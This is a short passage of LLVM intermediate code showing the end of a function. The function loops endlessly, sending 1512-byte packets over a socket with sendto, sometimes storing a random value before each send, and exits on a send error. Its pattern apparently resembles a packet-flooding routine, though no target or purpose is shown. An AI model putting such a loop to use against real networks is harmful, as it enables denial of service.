97: ; preds = %104, %51
%98 = call i32 @perror(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.4, i64 0, i64 0))
%99 = call i32 @exit(i32 -1)
unreachable
100: ; preds = %51, %104
br i1 %45, label %101, label %104
101: ; preds = %100
%102 = call i8* (...) @random()
%103 = ptrtoint i8* %102 to i64
store i64 %103, i64* %79
br label %104
104: ; preds = %101, %100
%105 = call i64 @sendto(i32 %20, i8* %8, i32 1512, i32 0, %struct.sockaddr* %94, i32 16)
%106 = icmp slt i64 %105, 0
br i1 %106, label %97, label %100
}